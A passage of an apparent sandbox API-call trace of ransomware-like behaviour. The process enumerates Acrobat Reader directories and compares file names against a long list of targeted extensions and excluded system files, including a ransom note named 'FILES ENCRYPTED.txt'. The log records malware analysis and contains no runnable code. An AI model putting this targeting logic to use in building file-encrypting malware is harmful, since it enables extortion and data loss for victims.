lpString2="s.js") returned -1 [0273.682] lstrlenW (lpString=".adp") returned 4 [0273.682] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0273.682] lstrlenW (lpString=".ai") returned 3 [0273.682] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0273.682] lstrlenW (lpString=".ai3") returned 4 [0273.682] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0273.682] lstrlenW (lpString=".ai4") returned 4 [0273.682] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0273.682] lstrlenW (lpString=".ai5") returned 4 [0273.682] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0273.682] lstrlenW (lpString=".ai6") returned 4 [0273.682] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0273.682] lstrlenW (lpString=".ai7") returned 4 [0273.682] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0273.683] lstrlenW (lpString=".ai8") returned 4 [0273.683] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0273.683] lstrlenW (lpString=".anim") returned 5 [0273.683] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0273.683] lstrlenW (lpString=".arw") returned 4 [0273.683] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0273.683] lstrlenW (lpString=".as") returned 3 [0273.683] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0273.683] lstrlenW (lpString=".asa") returned 4 [0273.683] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0273.683] lstrlenW (lpString=".asc") returned 4 [0273.683] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0273.683] lstrlenW (lpString=".ascx") returned 5 [0273.683] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0273.683] lstrlenW (lpString=".asm") returned 4 [0273.683] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0273.683] lstrlenW (lpString=".asmx") returned 5 [0273.683] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0273.683] lstrlenW (lpString=".asp") returned 4 [0273.683] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0273.683] lstrlenW (lpString=".aspx") returned 5 [0273.683] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0273.683] lstrlenW (lpString=".asr") returned 4 [0273.683] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0273.683] lstrlenW (lpString=".asx") returned 4 [0273.683] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0273.683] lstrlenW (lpString=".avi") returned 4 [0273.683] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0273.683] lstrlenW (lpString=".avs") returned 4 [0273.683] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0273.684] lstrlenW (lpString=".backup") returned 7 [0273.684] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0273.684] lstrlenW (lpString=".bak") returned 4 [0273.684] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0273.684] lstrlenW (lpString=".bay") returned 4 [0273.684] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0273.684] lstrlenW (lpString=".bd") returned 3 [0273.684] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0273.684] lstrlenW (lpString=".bin") returned 4 [0273.684] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0273.684] lstrlenW (lpString=".bmp") returned 4 [0273.684] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0273.684] lstrlenW (lpString=".bz2") returned 4 [0273.684] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0273.684] lstrlenW (lpString=".c") returned 2 [0273.684] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0273.684] lstrlenW (lpString=".cdr") returned 4 [0273.684] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0273.684] lstrlenW (lpString=".cer") returned 4 [0273.684] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0273.684] lstrlenW (lpString=".cf") returned 3 [0273.684] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0273.684] lstrlenW (lpString=".cfc") returned 4 [0273.684] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0273.684] lstrlenW (lpString=".cfm") returned 4 [0273.684] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0273.684] lstrlenW (lpString=".cfml") returned 5 [0273.684] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0273.684] lstrlenW (lpString=".cfu") returned 4 [0273.684] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0273.685] lstrlenW (lpString=".chm") returned 4 [0273.685] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0273.685] lstrlenW (lpString=".cin") returned 4 [0273.685] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0273.685] lstrlenW (lpString=".class") returned 6 [0273.685] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0273.685] lstrlenW (lpString=".clx") returned 4 [0273.685] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0273.685] lstrlenW (lpString=".config") returned 7 [0273.685] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0273.685] lstrlenW (lpString=".cpp") returned 4 [0273.685] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0273.685] lstrlenW (lpString=".cr2") returned 4 [0273.685] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0273.685] lstrlenW (lpString=".crt") returned 4 [0273.685] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0273.685] lstrlenW (lpString=".crw") returned 4 [0273.685] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0273.685] lstrlenW (lpString=".cs") returned 3 [0273.685] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0273.685] lstrlenW (lpString=".css") returned 4 [0273.685] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0273.685] lstrlenW (lpString=".csv") returned 4 [0273.685] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0273.685] lstrlenW (lpString=".cub") returned 4 [0273.685] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0273.685] lstrlenW (lpString=".dae") returned 4 [0273.685] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0273.686] lstrlenW (lpString=".dat") returned 4 [0273.686] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0273.800] lstrlenW (lpString=".db") returned 3 [0273.800] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0273.800] lstrlenW (lpString=".dbf") returned 4 [0273.800] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0273.800] lstrlenW (lpString=".dbx") returned 4 [0273.800] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0273.800] lstrlenW (lpString=".dc3") returned 4 [0273.800] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0273.800] lstrlenW (lpString=".dcm") returned 4 [0273.800] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0273.800] lstrlenW (lpString=".dcr") returned 4 [0273.800] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0273.800] lstrlenW (lpString=".der") returned 4 [0273.800] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0273.801] lstrlenW (lpString=".dib") returned 4 [0273.801] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0273.801] lstrlenW (lpString=".dic") returned 4 [0273.801] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0273.801] lstrlenW (lpString=".dif") returned 4 [0273.801] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0273.801] lstrlenW (lpString=".divx") returned 5 [0273.801] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0273.801] lstrlenW (lpString=".djvu") returned 5 [0273.801] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0273.801] lstrlenW (lpString=".dng") returned 4 [0273.801] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0273.801] lstrlenW (lpString=".doc") returned 4 [0273.801] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0273.801] lstrlenW (lpString=".docm") returned 5 [0273.801] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0273.801] lstrlenW (lpString=".docx") returned 5 [0273.801] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0273.801] lstrlenW (lpString=".dot") returned 4 [0273.801] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0273.801] lstrlenW (lpString=".dotm") returned 5 [0273.801] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0273.801] lstrlenW (lpString=".dotx") returned 5 [0273.801] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0273.801] lstrlenW (lpString=".dpx") returned 4 [0273.801] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0273.801] lstrlenW (lpString=".dqy") returned 4 [0273.802] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0273.802] lstrlenW (lpString=".dsn") returned 4 [0273.802] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0273.802] lstrlenW (lpString=".dt") returned 3 [0273.802] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0273.802] lstrlenW (lpString=".dtd") returned 4 [0273.802] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0273.802] lstrlenW (lpString=".dwg") returned 4 [0273.802] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0273.802] lstrlenW (lpString=".dwt") returned 4 [0273.802] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0273.802] lstrlenW (lpString=".dx") returned 3 [0273.802] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0273.802] lstrlenW (lpString=".dxf") returned 4 [0273.802] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0273.802] lstrlenW (lpString=".edml") returned 5 [0273.802] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0273.802] lstrlenW (lpString=".efd") returned 4 [0273.802] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0273.802] lstrlenW (lpString=".elf") returned 4 [0273.802] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0273.802] lstrlenW (lpString=".emf") returned 4 [0273.802] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0273.802] lstrlenW (lpString=".emz") returned 4 [0273.802] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0273.802] lstrlenW (lpString=".epf") returned 4 [0273.802] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0273.802] lstrlenW (lpString=".eps") returned 4 [0273.803] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0273.803] lstrlenW (lpString=".epsf") returned 5 [0273.803] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0273.803] lstrlenW (lpString=".epsp") returned 5 [0273.803] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0273.803] lstrlenW (lpString=".erf") returned 4 [0273.803] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0273.803] lstrlenW (lpString=".exr") returned 4 [0273.803] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0273.803] lstrlenW (lpString=".f4v") returned 4 [0273.803] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0273.803] lstrlenW (lpString=".fido") returned 5 [0273.803] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0273.803] lstrlenW (lpString=".flm") returned 4 [0273.803] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0273.803] lstrlenW (lpString=".flv") returned 4 [0273.803] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0273.803] lstrlenW (lpString=".frm") returned 4 [0273.803] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0273.803] lstrlenW (lpString=".fxg") returned 4 [0273.803] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0273.803] lstrlenW (lpString=".geo") returned 4 [0273.803] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0273.803] lstrlenW (lpString=".gif") returned 4 [0273.803] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0273.803] lstrlenW (lpString=".grs") returned 4 [0273.803] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0273.804] lstrlenW (lpString=".gz") returned 3 [0273.804] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0273.804] lstrlenW (lpString=".h") returned 2 [0273.804] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0273.804] lstrlenW (lpString=".hdr") returned 4 [0273.804] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0273.804] lstrlenW (lpString=".hpp") returned 4 [0273.804] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0273.804] lstrlenW (lpString=".hta") returned 4 [0273.804] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0273.804] lstrlenW (lpString=".htc") returned 4 [0273.804] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0273.804] lstrlenW (lpString=".htm") returned 4 [0273.804] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0273.804] lstrlenW (lpString=".html") returned 5 [0273.804] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0273.804] lstrlenW (lpString=".icb") returned 4 [0273.804] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0273.804] lstrlenW (lpString=".ics") returned 4 [0273.804] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0273.804] lstrlenW (lpString=".iff") returned 4 [0273.804] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0273.804] lstrlenW (lpString=".inc") returned 4 [0273.804] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0273.804] lstrlenW (lpString=".indd") returned 5 [0273.804] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0273.804] lstrlenW (lpString=".ini") returned 4 [0273.804] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0273.805] lstrlenW (lpString=".iqy") returned 4 [0273.805] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0273.805] lstrlenW (lpString=".j2c") returned 4 [0273.805] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0273.805] lstrlenW (lpString=".j2k") returned 4 [0273.805] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0273.805] lstrlenW (lpString=".java") returned 5 [0273.805] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0273.805] lstrlenW (lpString=".jp2") returned 4 [0273.805] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0273.805] lstrlenW (lpString=".jpc") returned 4 [0273.805] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0273.805] lstrlenW (lpString=".jpe") returned 4 [0273.805] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0273.805] lstrlenW (lpString=".jpeg") returned 5 [0273.805] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0273.805] lstrlenW (lpString=".jpf") returned 4 [0273.805] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0273.805] lstrlenW (lpString=".jpg") returned 4 [0273.805] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0273.805] lstrlenW (lpString=".jpx") returned 4 [0273.805] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0273.805] lstrlenW (lpString=".js") returned 3 [0273.805] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0273.805] lstrlenW (lpString="ui-strings.js") returned 13 [0273.805] lstrlenW (lpString=".love$") returned 6 [0273.805] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0273.805] lstrlenW (lpString="ui-strings.js") returned 13 [0273.806] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0273.806] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0273.806] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0273.806] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0273.806] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0273.806] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0273.806] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0273.806] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0273.806] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\ui-strings.js") returned 133 [0273.806] FindNextFileW (in: hFindFile=0x3315bf0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6f9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0273.806] FindClose (in: hFindFile=0x3315bf0 | out: hFindFile=0x3315bf0) returned 1 [0273.806] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5071060 | out: hHeap=0x670000) returned 1 [0273.806] FindNextFileW (in: hFindFile=0x33159b0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0273.806] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr") returned 119 [0273.806] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr") returned 1 [0273.806] lstrlenW (lpString="tr-tr") returned 5 [0273.806] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="tr-tr") returned -1 [0273.807] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x5071060 [0273.807] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr") returned 119 [0273.807] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3315670 [0273.976] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0273.983] FindNextFileW (in: hFindFile=0x3315670, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x73a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0274.030] lstrlenW (lpString="ui-strings.js") returned 13 [0274.030] lstrlenW (lpString=".1cd") returned 4 [0274.030] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0274.030] lstrlenW (lpString=".3ds") returned 4 [0274.030] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0274.030] lstrlenW (lpString=".3fr") returned 4 [0274.030] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0274.030] lstrlenW (lpString=".3g2") returned 4 [0274.030] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0274.030] lstrlenW (lpString=".3gp") returned 4 [0274.030] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0274.030] lstrlenW (lpString=".7z") returned 3 [0274.030] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0274.030] lstrlenW (lpString=".accda") returned 6 [0274.030] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0274.030] lstrlenW (lpString=".accdb") returned 6 [0274.030] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0274.030] lstrlenW (lpString=".accdc") returned 6 [0274.030] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0274.030] lstrlenW (lpString=".accde") returned 6 [0274.030] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0274.030] lstrlenW (lpString=".accdt") returned 6 [0274.030] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0274.030] lstrlenW (lpString=".accdw") returned 6 [0274.030] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0274.030] lstrlenW (lpString=".adb") returned 4 [0274.030] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0274.030] lstrlenW (lpString=".adp") returned 4 [0274.030] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0274.030] lstrlenW (lpString=".ai") returned 3 [0274.030] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0274.030] lstrlenW (lpString=".ai3") returned 4 [0274.030] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0274.030] lstrlenW (lpString=".ai4") returned 4 [0274.030] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0274.030] lstrlenW (lpString=".ai5") returned 4 [0274.031] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0274.031] lstrlenW (lpString=".ai6") returned 4 [0274.031] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0274.031] lstrlenW (lpString=".ai7") returned 4 [0274.031] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0274.031] lstrlenW (lpString=".ai8") returned 4 [0274.031] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0274.031] lstrlenW (lpString=".anim") returned 5 [0274.031] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0274.031] lstrlenW (lpString=".arw") returned 4 [0274.031] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0274.031] lstrlenW (lpString=".as") returned 3 [0274.031] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0274.031] lstrlenW (lpString=".asa") returned 4 [0274.031] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0274.031] lstrlenW (lpString=".asc") returned 4 [0274.031] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0274.031] lstrlenW (lpString=".ascx") returned 5 [0274.031] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0274.031] lstrlenW (lpString=".asm") returned 4 [0274.031] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0274.031] lstrlenW (lpString=".asmx") returned 5 [0274.031] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0274.031] lstrlenW (lpString=".asp") returned 4 [0274.031] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0274.031] lstrlenW (lpString=".aspx") returned 5 [0274.031] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0274.031] lstrlenW (lpString=".asr") returned 4 [0274.031] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0274.031] lstrlenW (lpString=".asx") returned 4 [0274.031] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0274.031] lstrlenW (lpString=".avi") returned 4 [0274.032] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0274.032] lstrlenW (lpString=".avs") returned 4 [0274.032] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0274.032] lstrlenW (lpString=".backup") returned 7 [0274.032] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0274.032] lstrlenW (lpString=".bak") returned 4 [0274.032] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0274.032] lstrlenW (lpString=".bay") returned 4 [0274.032] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0274.032] lstrlenW (lpString=".bd") returned 3 [0274.032] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0274.032] lstrlenW (lpString=".bin") returned 4 [0274.032] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0274.032] lstrlenW (lpString=".bmp") returned 4 [0274.032] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0274.032] lstrlenW (lpString=".bz2") returned 4 [0274.032] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0274.032] lstrlenW (lpString=".c") returned 2 [0274.032] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0274.032] lstrlenW (lpString=".cdr") returned 4 [0274.032] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0274.032] lstrlenW (lpString=".cer") returned 4 [0274.032] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0274.032] lstrlenW (lpString=".cf") returned 3 [0274.032] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0274.032] lstrlenW (lpString=".cfc") returned 4 [0274.032] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0274.032] lstrlenW (lpString=".cfm") returned 4 [0274.033] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0274.033] lstrlenW (lpString=".cfml") returned 5 [0274.033] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0274.033] lstrlenW (lpString=".cfu") returned 4 [0274.033] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0274.033] lstrlenW (lpString=".chm") returned 4 [0274.033] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0274.033] lstrlenW (lpString=".cin") returned 4 [0274.033] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0274.033] lstrlenW (lpString=".class") returned 6 [0274.033] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0274.033] lstrlenW (lpString=".clx") returned 4 [0274.033] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0274.033] lstrlenW (lpString=".config") returned 7 [0274.033] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0274.033] lstrlenW (lpString=".cpp") returned 4 [0274.033] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0274.033] lstrlenW (lpString=".cr2") returned 4 [0274.033] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0274.033] lstrlenW (lpString=".crt") returned 4 [0274.033] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0274.033] lstrlenW (lpString=".crw") returned 4 [0274.033] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0274.033] lstrlenW (lpString=".cs") returned 3 [0274.033] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0274.033] lstrlenW (lpString=".css") returned 4 [0274.033] lstrcmpiW (lpString1=".css", lpString2="s.js") 